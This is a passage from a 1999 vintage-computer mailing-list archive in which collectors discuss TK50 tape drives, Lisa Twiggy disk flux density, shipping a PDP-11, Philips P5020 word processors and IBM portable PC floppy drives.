TRS80 mod.2. At the moment it's buried with brochures , club >newsletters and programs under about 5 printers and other assorted items. I've >always thought of it as an S-100 but I am a complete novice regarding them. >I'll be digging it out in the next couple of weeks and will have more info. > It used a large Shugart 8" fdd about the size of an XT and had a Qume >daisy-wheel printer that had a massive external power supply. I don't think it >had any internal smarts. It had an excellent WP program and limited graphics >capabilities. It was modem capable and Philips had a program for that. I >remember the newsletter mentioning that 3rd party suppliers could provide >modems (and I imagine cards) so I would suspect it had a common bus. They >also had a fairly lengy article on the differences between synchronous and >asynchronous transmission IIRC. >I'll get back to you when I excavate it. > >ciao larry >lwalker@interlog.com > > Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Homepage http://www.wincom.net/foxvideo From allisonp at world.std.com Sat Jan 2 10:37:55 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:45 2005 Subject: Altair kit on E-OverPay Message-ID: <199901021637.AA14518@world.std.com> sans label too. One speculated that it is the early ones It was however, slow! < Comparing it to a 286/10mhz, sorry, no way. < Hello, all: "Mike" wrote: >The AIM-65 (single-board, full keyboard, LED display and 20-column >printer on-board), SD Systems Z-80 starter kit, Motorola MEK6800, VIM-1 >(predecessor to the SYM-1). > >>I have a full doc set for the AIM-65 if anyone needs any info on this machine. If you look on the documents page on my ClassicCmp, I have posted scans of the AIM doc set. I still have to do the User's Guide, though. [ Rich Cini/WUGNET [ ClubWin!/CW7 [ MCP Windows 95/Windows Networking [ Collector of "classic" computers [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ [ http://highgate.comm.sfu.ca/~rcini/pdp11/ <================ reply separator =================> From kyrrin at bluefeathertech.com Sat Jan 2 12:23:15 1999 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:39:45 2005 Subject: Anyone else done this...? Message-ID: <3.0.5.32.19990102102315.0097aa80@mail.bluefeathertech.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 667 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990102/ffda6c23/attachment.bin From dwollmann at ibmhelp.com Sat Jan 2 14:09:05 1999 From: dwollmann at ibmhelp.com (David Wollmann) Date: Sun Feb 27 18:39:45 2005 Subject: Anyone else done this...? In-Reply-To: <3.0.5.32.19990102102315.0097aa80@mail.bluefeathertech.com> Message-ID: On Sat, 2 Jan 1999, Bruce Lane wrote: > Has anyone here tried to write TK50 boot tapes for NetBSD's VAX port > from a Linux box, using dd and a SCSI TK50 drive? > > > Just curious. I'm making some progress, but I keep running into a > metaphoric wall. > > > TIA... Just curious, have you thought about writing a quick-n-dirty C proggie to do it? Just include st.h (see 'man mt'), open the device for output, make an ioctl call to init the drive, you're good to go. -- David Wollmann DST / DST Data Conversion http://www.ibmhelp.com/ ICQ: 10742063 AIM: FathomS36 From healyzh at aracnet.com Sat Jan 2 14:30:58 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:45 2005 Subject: Anyone else done this...? In-Reply-To: <3.0.5.32.19990102102315.0097aa80@mail.bluefeathertech.com> Message-ID: > Has anyone here tried to write TK50 boot tapes for NetBSD's VAX >port from a Linux box, using dd and a SCSI TK50 drive? > > Just curious. I'm making some progress, but I keep running into a >metaphoric wall. While I've not done it there was some talk about this in one of the DEC newsgroups the last week or so. I think it was one of the PDP-11 groups for some wierd reason. I gather it is possible, but I'm afriad I don't know how you would go about it. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From todd.osborne at barnstormer-software.com Sat Jan 2 14:53:02 1999 From: todd.osborne at barnstormer-software.com (Todd Osborne) Date: Sun Feb 27 18:39:45 2005 Subject: Need Help around Buffalo, NY Message-ID: <368E872E.5BD4BF87@barnstormer-software.com> If anyone on the list if from around Buffalo, NT and can help to ship a DEC PDP-11 (in a BA-23 box) with some peripherals to me, I would appreciate it. I have the lead on a nice setup, but I won't be able to travel that far anytime soon because my daughter is too little. So if you know anyone that can spare an hour or two (not free, I will pay them) to help box it up for shipping, I would greatly appreciate it. Todd -- -------------------------------------------------------- Todd Osborne Senior Software Engineer FMStrategies, Inc. http://www.fmstrategies.com/ -------------------------------------------------------- FMStrategies, Inc: tosborne@fmstrategies.com Internet E-Mail: todd.osborne@barnstormer-software.com -------------------------------------------------------- Founder of the Virtual Windows Class Library (C++) http://www.barnstormer-software.com/vwcl/ -------------------------------------------------------- Anagrams? (http://www.wordsmith.org/anagram/) Can you figure out this one? Want the answer? E-Mail me. COCO VERDI MOM (Hint: Think Late 1970's Computer) -------------------------------------------------------- Quote: 2 Wrongs Don't Make a Right, But 3 Rights Make a Left! -------------------------------------------------------- From musicman38 at mindspring.com Sat Jan 2 03:16:10 1999 From: musicman38 at mindspring.com (Phil Clayton) Date: Sun Feb 27 18:39:45 2005 Subject: Nice web site to visit References: Message-ID: <368DE3D9.14FEE91B@mindspring.com> I just by chance came across this web site, although its in German it was full of great pictures of some older 8-bit computers, and some really good shots of Commodore stuff.. http://www.zock.com/8-Bit/D_A-Z.HTML Enjoy... From kyrrin at bluefeathertech.com Sat Jan 2 15:35:33 1999 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:39:45 2005 Subject: Anyone else done this...? In-Reply-To: References: <3.0.5.32.19990102102315.0097aa80@mail.bluefeathertech.com> Message-ID: <3.0.5.32.19990102133533.0097ec50@mail.bluefeathertech.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1369 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990102/3d563a91/attachment.bin From ard at p850ug1.demon.co.uk Sat Jan 2 15:16:26 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:45 2005 Subject: Shugart Model 801 (8 inch floppy) In-Reply-To: <3.0.1.32.19990101231646.00958100@mail.30below.com> from "Roger Merchberger" at Jan 1, 99 11:16:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1802 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990102/16f496ea/attachment.ksh From cfandt at netsync.net Sat Jan 2 16:50:02 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:39:45 2005 Subject: Need Help around Buffalo, NY In-Reply-To: <368E872E.5BD4BF87@barnstormer-software.com> Message-ID: <4.1.19990102174401.00ae2e10@206.231.8.2> So far as I know up to now Todd, I'm the closest to Buffalo on this list. We're about 85 driving miles or so south. At 15:53 01/02/99 -0500, you wrote: >If anyone on the list if from around Buffalo, NT and can help to ship a >DEC PDP-11 (in a BA-23 box) with some peripherals to me, I would >appreciate it. I have the lead on a nice setup, but I won't be able to >travel that far anytime soon because my daughter is too little. So if >you know anyone that can spare an hour or two (not free, I will pay >them) to help box it up for shipping, I would greatly appreciate it. > >Todd >-- > >-------------------------------------------------------- >Todd Osborne >Senior Software Engineer >FMStrategies, Inc. >http://www.fmstrategies.com/ >-------------------------------------------------------- >FMStrategies, Inc: tosborne@fmstrategies.com >Internet E-Mail: todd.osborne@barnstormer-software.com >-------------------------------------------------------- >Founder of the Virtual Windows Class Library (C++) >http://www.barnstormer-software.com/vwcl/ >-------------------------------------------------------- >Anagrams? (http://www.wordsmith.org/anagram/) >Can you figure out this one? Want the answer? E-Mail me. >COCO VERDI MOM (Hint: Think Late 1970's Computer) >-------------------------------------------------------- >Quote: >2 Wrongs Don't Make a Right, But 3 Rights Make a Left! >-------------------------------------------------------- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From jhfine at idirect.com Sat Jan 2 17:00:21 1999 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:39:45 2005 Subject: Need Help around Buffalo, NY References: <368E872E.5BD4BF87@barnstormer-software.com> Message-ID: <368EA505.830DDF3A@idirect.com> >Todd Osborne wrote: > If anyone on the list if from around Buffalo, NY and can help to ship a > DEC PDP-11 (in a BA-23 box) with some peripherals to me, I would > appreciate it. I have the lead on a nice setup, but I won't be able to > travel that far anytime soon because my daughter is too little. So if > you know anyone that can spare an hour or two (not free, I will pay > them) to help box it up for shipping, I would greatly appreciate it. Jerome Fine replies: I am in Toronto. On a good day, I can make it to Buffalo in under 2 hours - door to door. But I am wondering why you want the heavy part (the BA23) unless there are a lot of other heavy parts. In most cases, it would cost almost as much to crate and ship a BA23 as picking one up locally. If the boards are the important part, just box them and they are not at all heavy. Let me know if anyone else can help, otherwise, Buffalo is not that far! Sincerely yours, Jerome Fine From allisonp at world.std.com Sat Jan 2 17:19:02 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:45 2005 Subject: Anyone else done this...? Message-ID: <199901022319.AA16606@world.std.com> <> Has anyone here tried to write TK50 boot tapes for NetBSD's VAX <>port from a Linux box, using dd and a SCSI TK50 drive? It s doable if you have the SCSI tk50 or a TLZ30. Beware there are almost scsi tk50s that pair up only with vs2000s (old scsi spec and the protocal is off some). Message-ID: On 2 Jan 1999, Eric Smith wrote: > "Fred Cisin (XenoSoft)" wrote: > > Did they have the same number of sectors on each track ("constant > > rotational speed"), or did they have different numbers of sectors on > > different tracks ("constant linear velocity")? > > The Twiggy disk uses a zoned-CAV system like modern hard drives, except > that it changes the spindle motor speed and keeps the data rate constant. > Thus the number of sectors per track varies. > > There are 46 tracks for data (numbered 0 to 45), and track -1 which is > used for speed calibration. > > I'm assuming that track 0, the outermost track for the lower head, has > a radius of 2.25 inches, the same as a standard 5.25 inch drive. The > Twiggy uses a track pitch of 62.5 TPI. > > The zone information is given in this table, which is compiled from > the Lisa Hardware Manual; I've added the peak flux density which I > computed in an Excel spreadsheet. > > > 512-byte peak > sectors rotation flux > per rate density > track track (rpm) (fcpi) > ----- ------- --------- --------- > 0-3 22 218.3 9721-9933 > 4-10 21 228.7 9550-9989 > 11-16 20 240.1 9588-9973 > 17-22 19 252.7 9552-9955 > 23-28 18 266.8 9509-9931 > 29-34 17 282.5 9463-9907 > 35-41 16 300.1 9414-9981 > 42-45 15 320.1 9453-9749 > > > Note that for Apple's (6/8) GCR format, equivalent to (0,2) RLL, > the minimum flux density is 1/3 of the maximum flux density. For MFM, the > minimum is 1/2 the maximum. This means that the media has to work for the > range of 3138-9989 FCPI. > > Standard 5.25 inch floppies spin at a constant rate, and transfer data > at a constant rate, so they have a much lower flux density on the outer > tracks. > > For 360K format, the maximum flux density ranges from 3537 FCPI on side 0 > track 0 to 5877 fcpi on side 1 track 39, for an overall range of > 1768-5877 FCPI. Does that imply that the flux density on side one differs from side zero at the same cylinder? If so, why. - don > For 1.2M format, the maximum flux density ranges from 5895 FCPI on side 0 > track 0 to 9870 fcpi on side 1 track 79, for an overall range of > 2947-9870 FCPI. > > Obviously, then, my inital guess that high-density media is required > would appear to be correct. > > > GCR would tend to provide a flux transition density of about 1.5 times that > > of FM, and slightly less than that of MFM. > > Apple's (6/8) GCR is exactly 3/4 as efficient as MFM. > > Eric > From kyrrin at my-dejanews.com Sat Jan 2 17:26:01 1999 From: kyrrin at my-dejanews.com (Bruce Lane) Date: Sun Feb 27 18:39:45 2005 Subject: WTD: TK50Z-GA Message-ID: <368eaa84.104468367@smtp.jps.net> OK -- I'm making progress. Thanks to John Wilson at Dbit, I found out that the TK50's I'm using may not actually be "standard" SCSI, but a bastardized implementation used only for VS2000's. With that in mind, if anyone's got a TK50Z-GA in working condition (NOT the -FA, which is what I have) that they feel like parting with, I would be happy to buy it. Thanks in advance. -=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies -- kyrrin (at) bluefeathertech [dot] com Web: http://www.bluefeathertech.com "...No matter how we may wish otherwise, our science can only describe an object, event, or living thing in our own human terms. It cannot possibly define any of them..." From todd.osborne at barnstormer-software.com Sat Jan 2 17:36:19 1999 From: todd.osborne at barnstormer-software.com (Todd Osborne) Date: Sun Feb 27 18:39:45 2005 Subject: Need Help around Buffalo, NY References: <368E872E.5BD4BF87@barnstormer-software.com> <368EA505.830DDF3A@idirect.com> Message-ID: <368EAD73.F6C88870@barnstormer-software.com> I have not had much luck picking one up locally. In this case, the BA-23 is full of parts, and this is a complete, operating PDP-11. It also has 2 Wyse 85 terminals and a serial printer. I have not decided if it is worth it to bother with the terminals or printer, but I am thinking they would be easy to ship. The person that is unloading the system seems to think the box is too big or too heavy for UPS. I am not sure how correct this is. What I would like to to just get someone to help him box it up for shipping. I would arrange the pickup and shipping to me. I appreciate the input so far and will announce to the group once we figure out who will help and how it will be shipped. Thanks a ton for the responses so far! Todd Jerome Fine wrote: > > >Todd Osborne wrote: > > > If anyone on the list if from around Buffalo, NY and can help to ship a > > DEC PDP-11 (in a BA-23 box) with some peripherals to me, I would > > appreciate it. I have the lead on a nice setup, but I won't be able to > > travel that far anytime soon because my daughter is too little. So if > > you know anyone that can spare an hour or two (not free, I will pay > > them) to help box it up for shipping, I would greatly appreciate it. > > Jerome Fine replies: > > I am in Toronto. On a good day, I can make it to Buffalo in under > 2 hours - door to door. > > But I am wondering why you want the heavy part (the BA23) unless > there are a lot of other heavy parts. In most cases, it would cost almost > as much to crate and ship a BA23 as picking one up locally. If the > boards are the important part, just box them and they are not at all > heavy. > > Let me know if anyone else can help, otherwise, Buffalo is not > that far! > > Sincerely yours, > > Jerome Fine -- -------------------------------------------------------- Todd Osborne Senior Software Engineer FMStrategies, Inc. http://www.fmstrategies.com/ -------------------------------------------------------- FMStrategies, Inc: tosborne@fmstrategies.com Internet E-Mail: todd.osborne@barnstormer-software.com -------------------------------------------------------- Founder of the Virtual Windows Class Library (C++) http://www.barnstormer-software.com/vwcl/ -------------------------------------------------------- Anagrams? (http://www.wordsmith.org/anagram/) Can you figure out this one? Want the answer? E-Mail me. COCO VERDI MOM (Hint: Think Late 1970's Computer) -------------------------------------------------------- Quote: 2 Wrongs Don't Make a Right, But 3 Rights Make a Left! -------------------------------------------------------- From todd.osborne at barnstormer-software.com Sat Jan 2 17:38:41 1999 From: todd.osborne at barnstormer-software.com (Todd Osborne) Date: Sun Feb 27 18:39:45 2005 Subject: Send Me your C Programming Questions Message-ID: <368EAE01.D95A282F@barnstormer-software.com> I lost some mail from the last couple of days, but somebody was asking about a C programming problem. I am a C/C++ programmer by trade, so please let me know if I can be of help. Todd -- -------------------------------------------------------- Todd Osborne Senior Software Engineer FMStrategies, Inc. http://www.fmstrategies.com/ -------------------------------------------------------- FMStrategies, Inc: tosborne@fmstrategies.com Internet E-Mail: todd.osborne@barnstormer-software.com -------------------------------------------------------- Founder of the Virtual Windows Class Library (C++) http://www.barnstormer-software.com/vwcl/ -------------------------------------------------------- Anagrams? (http://www.wordsmith.org/anagram/) Can you figure out this one? Want the answer? E-Mail me. COCO VERDI MOM (Hint: Think Late 1970's Computer) -------------------------------------------------------- Quote: 2 Wrongs Don't Make a Right, But 3 Rights Make a Left! -------------------------------------------------------- From rhblake at bigfoot.com Sat Jan 2 18:07:30 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:39:45 2005 Subject: Osborne 01 for only $5000.00 - new Scam??? References: Message-ID: <368EB4C0.4AE020BD@bigfoot.com> Innfogra@aol.com wrote: > In a message dated 1/1/99 10:47:34 PM Pacific Standard Time, > healyzh@aracnet.com writes: > > > > > Out of curiosity, how to you find out how much a reserve bid is? > > > > One of the list members reiterated a story about bidding up an item till he > hit the reserve limit. Unfortunately you have to be willing to buy it to use > this method. I also don't believe he got the item in the end. > On some I have, some I got to be the only bidder and never hit the reserve. The seller is responsible for deciding if he or she wishes to relist the item if no reserve is met or sell it. I did work out a deal with one seller that had listed a reserve and after three listings only saw two bids ever. I asked if she'd take a certain amount or trade and was able to get a set of like new Tektronix scope leads on trade for a 400 mb hard drive. We both made out and since it didn't hit reserve she didn't have to do a final value fee, to the best of my knowledge. Many people use it to get people's curiousity up or make a proxy bid jump though. If the start is $1 and a person feels that it's worth up to $25 for them and posts a high $25 proxy, and the reserve is $20, then auto-magically the first bid shows $20 and clears the reserve. I don't care for this at all myself. I generally post what I want to see for an item, at minimum, and then see what it goes to from there. If I get only one bid, fine. I've NEVER used a reserve pricing myself but that's not to say that I'll never find a need for it someday. I do like haggle's system of a running high bid auction or a single bid auction. The single bid auction is more like saying you have an item for a certain amount and the first one to make an offer of the minimum gets it. Sort of like posting it here or on the newsgroups, only less negotiable. From eric at brouhaha.com Sat Jan 2 18:22:59 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:39:45 2005 Subject: Lisa "twiggy" specs (Was: selling a blank floppy disk In-Reply-To: (message from Don Maslin on Sat, 2 Jan 1999 15:22:04 -0800 (PST)) References: Message-ID: <19990103002259.24346.qmail@brouhaha.com> Don Maslin wrote: > Does that imply that the flux density on side one differs from side zero > at the same cylinder? If so, why. The heads are not actually directly opposed. The head on side 1 is slightly closer to the spindle, by 2.117 mm on standard 5.25 inch drives. This makes the tracks on side 1 about 13.3 mm shorter than those of side 0. Since side 1 has the same number of flux transitions in a shorter space, the flux density is higher. From SUPRDAVE at aol.com Sat Jan 2 18:41:44 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:39:45 2005 Subject: IBM portable pc Message-ID: <8e4a3b3a.368ebcc8@aol.com> one of my 2 5155 suitcase computers is still a dual floppy model and one of the drives posts bad. I'm looking for the "correct" drive for this model. it's a half height 360k drive with a black faceplate with the IBM logo on the bottom right. if anyone has it available, give me a shout. david From pb0aia at iaehv.nl Sat Jan 2 18:44:51 1999 From: pb0aia at iaehv.nl (Kees Stravers) Date: Sun Feb 27 18:39:45 2005 Subject: Philips P5020 / MICOM (was: Re: "Single instance" machines) Message-ID: <199901030044.BAA07297@iaehv.IAEhv.nl> On Thu, 31 Dec 1998 19:37:24 +0000 (GMT), Tony Duell said: >> - The P5020/P5040 word processor system. The P5020 was a monster system, an >> all-in-one system with a 15 inch 36 line system, two 5.25i drives next >> to the monitor, internal card cage with passive backplane (not the same >> as the P2500). The entire thing stood on a big tilt/swivel pedestal. >> Heavy keyboard made of metal, no plastic exept for the keys. The P5040 >I found a P5020 in a charity shop (thrift store) in Cheltenham last >summer. I figured it was worth \pounds 20.00 and nearly ripped my arms >off carrying it back to the car. You're right - it's very solid and very >heavy. >I don't remember the internals being a passive backplane, though. One >large PCB across the back (with 2 Z80s on it and a lot of other chips) >and a few DIN41612 connectors on this board as expansion slots. One of >the slots in my machine has a RAM card in it (64K I think). >I know nothing much about it, and I don't have any form of system disk >for it. Well, after I sent the message I began to doubt. Apart from the P5020 there was another computer that looked exactly like the P5020 but had a totally different machine inside. Floppys and screen were the same but the rest wasn't. It did not even have a Z80. I saw them at the computer club. They were called the 'Televerket' and were supposed to be some kind of communica- tions system for a Scandinavian PTT. I think it was also called P5900. The software for it was developed in Forth, so the Forth fans in the club were happy with them. I may have seen the card cage in this machine. You shouldn't have said you didn't have a system disk for your P5020 :) now you made me unearth my own P5020. Or at least try to. This is not an under- taking for the faint of heart. The machine is in my garage. In the back of my garage. The garage has two doors. The one in front that a car is supposed to go through (this has only happened once, in 1986 I believe) and a regular one in the middle for me. Imagine that you take a piece of chalk and attach this to the bottom of this door, at the far end, so when you open the door into the garage you draw a half-circle on the concrete floor. This circle then represents the border of how far you can walk into my garage. So I put on my coveralls, donned my old miners helmet with the strong lamp on the front and I started digging a corridor, by lifting stuff out of the way and putting it back down behind me. Soon the batteries of the lamp began to fade but just at this moment I found my P5040. There was a floppy in the right hand drive. Since this machine is compatible with the P5020 I dug it out quickly and went for the door again. Back onto safe ground I opened the P5040 and saw it had a large PCB on the bottom, and a daughtercard with two eurocard (DIN41612?) connectors for expansion cards, like your P5020, one of which had some kind of communications card in it. After being connected to the mains the machine booted at once. The disk was a CP/M 2.2 disk for the P5020. It had the spreadsheet program on it I mentioned earlier. I found my memory got warped after all those years because it turned out to be the Supercalc 2 program by Sorcim Corp. It claimed to be made for the MICOM 3003. So there you have it: Micom 3003 and P5020 are the same machine. I guess the Micom that Lawrence has is going to be the P2500. I made an image of the CP/M disk with Teledisk and wrote this image to a new disk. The P5040 also booted from this disk, but only if I put it in the right hand drive. This is a bit strange, since when you switch on the machine with no disk in it, the left hand drive lights its led and does a seek. Ah well. I can email you this Teledisk image. You need an AT PC with a 1.2MB floppy drive to write the image to a real disk, since the P5020 uses 80 track single sided drives. You can use a regular 360K disk to write the image on, if it is from a well known brand this will work. Now I'm off to dig out the digital camera so I can put a photo of this thing on my web page, it would be a same to bury it again without a photo after all this trouble :) Kees From donm at cts.com Sat Jan 2 18:47:52 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:45 2005 Subject: Lisa "twiggy" specs (Was: selling a blank floppy disk In-Reply-To: <19990103002259.24346.qmail@brouhaha.com> Message-ID: On 3 Jan 1999, Eric Smith wrote: > Don Maslin wrote: > > Does that imply that the flux density on side one differs from side zero > > at the same cylinder? If so, why. > > The heads are not actually directly opposed. The head on side 1 is slightly > closer to the spindle, by 2.117 mm on standard 5.25 inch drives. This > makes the tracks on side 1 about 13.3 mm shorter than those of side 0. > Since side 1 has the same number of flux transitions in a shorter space, > the flux density is higher. The offset is approximately equal to the spacing of 3.8 tracks then! That is surprising! - don From dburrows at netpath.net Sat Jan 2 18:21:30 1999 From: dburrows at netpath.net (Daniel T. Burrows) Date: Sun Feb 27 18:39:45 2005 Subject: TK50Z-GA Message-ID: <007201be36b2$70ed21a0$bf281bce@p166> > OK -- I'm making progress. Thanks to John Wilson at Dbit, I found out >that the TK50's I'm using may not actually be "standard" SCSI, but a >bastardized implementation used only for VS2000's. > > With that in mind, if anyone's got a TK50Z-GA in working condition >(NOT the -FA, which is what I have) that they feel like parting with, I >would be happy to buy it. > > Thanks in advance. I just sent Zane Healy a bad SCSI TK50 adapter board. (my only spare). Based on Allison's post I would suggest checking the EPROM on yours and comparing to the one I sent him. I think he may be willing to part with it. I only sent it because I was sending a bunch of other stuff and had marked the unusual SCSI select on it for his ref. The fault on the one I sent him was nowhere near involving the EPROM. Dan From ard at p850ug1.demon.co.uk Sat Jan 2 18:54:58 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:45 2005 Subject: IBM portable pc In-Reply-To: <8e4a3b3a.368ebcc8@aol.com> from "SUPRDAVE@aol.com" at Jan 2, 99 07:41:44 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 930 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990103/a5499098/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 2 19:04:05 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:45 2005 Subject: Philips P5020 / MICOM (was: Re: "Single instance" machines) In-Reply-To: <199901030044.BAA07297@iaehv.IAEhv.nl> from "Kees Stravers" at Jan 3, 99 01:44:51 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2275 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990103/c5896a7a/attachment.ksh From dogas at leading.net Sat Jan 2 19:03:44 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:39:45 2005 Subject: IBM portable pc Message-ID: <01be36b4$e926cd40$e0c962cf@devlaptop> From: Tony Duell >Was there ever a supported hard disk for that machine (that didn't use >the 5161 expansion cabinet)? My manuals seem to imply there wasn't I've got one that has (what I thought was...) a standard hard drive. Will check. -Mike: dogas@leading.net From rcini at msn.com Sat Jan 2 20:13:55 1999 From: rcini at msn.com (Richard A. Cini, Jr.) Date: Sun Feb 27 18:39:46 2005 Subject: Misc. DEC parts available Message-ID: <003d01be36bf$91386c00$e0e5fea9@mainoffice> Hello, all: Well, I decided to start going through some of my DEC spares, and came across a small pile of stuff which is of no use to me. So, they're up for trade: Qty 2 of each of the following: - 200/MC concentrators - LA36 power boards - LA36 logic boards - {assumed to be} LA36 drive belts - LA36 print heads The working condition is unknown, as I have no way of testing these items. The 200/MCs power on fine and the LEDs on the back blink appropriately. [ Rich Cini/WUGNET [ ClubWin!/CW7 [ MCP Windows 95/Windows Networking [ Collector of "classic" computers [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ [ http://highgate.comm.sfu.ca/~rcini/pdp11/ <================ reply separator =================> From rcini at msn.com Sat Jan 2 20:18:28 1999 From: rcini at msn.com (Richard A. Cini, Jr.) Date: Sun Feb 27 18:39:46 2005 Subject: Fixing RK05 servo chatter Message-ID: <003e01be36bf$920977a0$e0e5fea9@mainoffice> Hello, all: I decided to play with my 11/34a over the holiday, and discovered that one of my heretofore working RK05 drives has developed a chatter in the linear positioner. Here's what happens: the drive goes OnCyl with no problem, but on the first acccess, the OnCyl light blinks, and I get a device error returned to RT-11. I opened the case and watched the servo during this process and it seems to move in and out by one cylinder during this condition. So, I figured that there may be dirt on the positioner optics. I used compressed air to blow it off, which had no effect. Any clues? [ Rich Cini/WUGNET [ ClubWin!/CW7 [ MCP Windows 95/Windows Networking [ Collector of "classic" computers [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ [ http://highgate.comm.sfu.ca/~rcini/pdp11/ <================ reply separator =================> From healyzh at aracnet.com Sat Jan 2 20:34:34 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:46 2005 Subject: Need Help around Buffalo, NY In-Reply-To: <368EA505.830DDF3A@idirect.com> References: <368E872E.5BD4BF87@barnstormer-software.com> Message-ID: >But I am wondering why you want the heavy part (the BA23) unless >there are a lot of other heavy parts. In most cases, it would cost almost >as much to crate and ship a BA23 as picking one up locally. If the >boards are the important part, just box them and they are not at all >heavy. Trust me, it's not always easy to pick up a cabinet locally. I've considered doing this more than once, but so far haven't gotten that desparate. Of course that means my MicroVAX II is currently a PDP-11/73. I've a feeling that BA23's and BA123's are getting rare in certain area's. In about two years of looking I've come up with one of each. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From rhblake at bigfoot.com Sat Jan 2 20:54:03 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:39:46 2005 Subject: IBM portable pc References: <8e4a3b3a.368ebcc8@aol.com> Message-ID: <368EDBCA.FA02906D@bigfoot.com> If the one you have has an original make and part number, post it and I can see if I have an exacto-replacement that you could have for a couple bucks and shipping. That way you'd get the absolute best for originality. Of course I have to find and test the drive once I know what you have. SUPRDAVE@aol.com wrote: > one of my 2 5155 suitcase computers is still a dual floppy model and one of > the drives posts bad. I'm looking for the "correct" drive for this model. it's > a half height 360k drive with a black faceplate with the IBM logo on the > bottom right. if anyone has it available, give me a shout. > > david From SUPRDAVE at aol.com Sat Jan 2 22:35:41 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:39:46 2005 Subject: IBM portable pc Message-ID: <9599e99a.368ef39d@aol.com> In a message dated 1/2/99 8:01:00 PM US Eastern Standard Time, ard@p850ug1.demon.co.uk writes: > Was there ever a supported hard disk for that machine (that didn't use > the 5161 expansion cabinet)? My manuals seem to imply there wasn't > > Of course it's a standard XT motherboard in there, so if you get a > half-height drive and a 'short' controller it'll go in. > > > the drives posts bad. I'm looking for the "correct" drive for this model. > it's > > a half height 360k drive with a black faceplate with the IBM logo on the > > bottom right. if anyone has it available, give me a shout. > > If it's any help the drive was made by Qume, and it's the same drive as > in the PC-jr > > I have the schematics in the Options and Adapters Techref if you want to > have a go at fixing the original drive. From what I remember it's not hard. > > If it's failing the POST, then the most likely problem is head movement > or track 0 sensor, I think. i'm not sure if there was a supported hard disk, but my other 5155 has a seagate hard drive installed by someone. i'm getting a 601 post error. the drive makes a grinding noise a bit more serious that the normal noise it makes before beeping twice. is it really fixable? From rhblake at bigfoot.com Sat Jan 2 23:05:50 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:39:46 2005 Subject: IBM portable pc References: <9599e99a.368ef39d@aol.com> Message-ID: <368EFAAD.79DE76EF@bigfoot.com> SUPRDAVE@aol.com wrote: > In a message dated 1/2/99 8:01:00 PM US Eastern Standard Time, > ard@p850ug1.demon.co.uk writes: > > > Was there ever a supported hard disk for that machine (that didn't use > > the 5161 expansion cabinet)? My manuals seem to imply there wasn't > > > > Of course it's a standard XT motherboard in there, so if you get a > > half-height drive and a 'short' controller it'll go in. > > > > > the drives posts bad. I'm looking for the "correct" drive for this model. > > it's > > > a half height 360k drive with a black faceplate with the IBM logo on the > > > bottom right. if anyone has it available, give me a shout. > > > > If it's any help the drive was made by Qume, and it's the same drive as > > in the PC-jr > > > > I have the schematics in the Options and Adapters Techref if you want to > > have a go at fixing the original drive. From what I remember it's not hard. > > > > If it's failing the POST, then the most likely problem is head movement > > or track 0 sensor, I think. > > i'm not sure if there was a supported hard disk, but my other 5155 has a > seagate hard drive installed by someone. i'm getting a 601 post error. the > drive makes a grinding noise a bit more serious that the normal noise it makes > before beeping twice. is it really fixable? Does your flopp have the IBM logo or the star emblem (or both) imprinted in the face? I have probably 12 good drives that are IBM type black faces but to make sure you get what is closest to original it might be best to get the make and model of the one you have now. I assume you live in the US? From dwollmann at ibmhelp.com Sat Jan 2 23:10:09 1999 From: dwollmann at ibmhelp.com (David Wollmann) 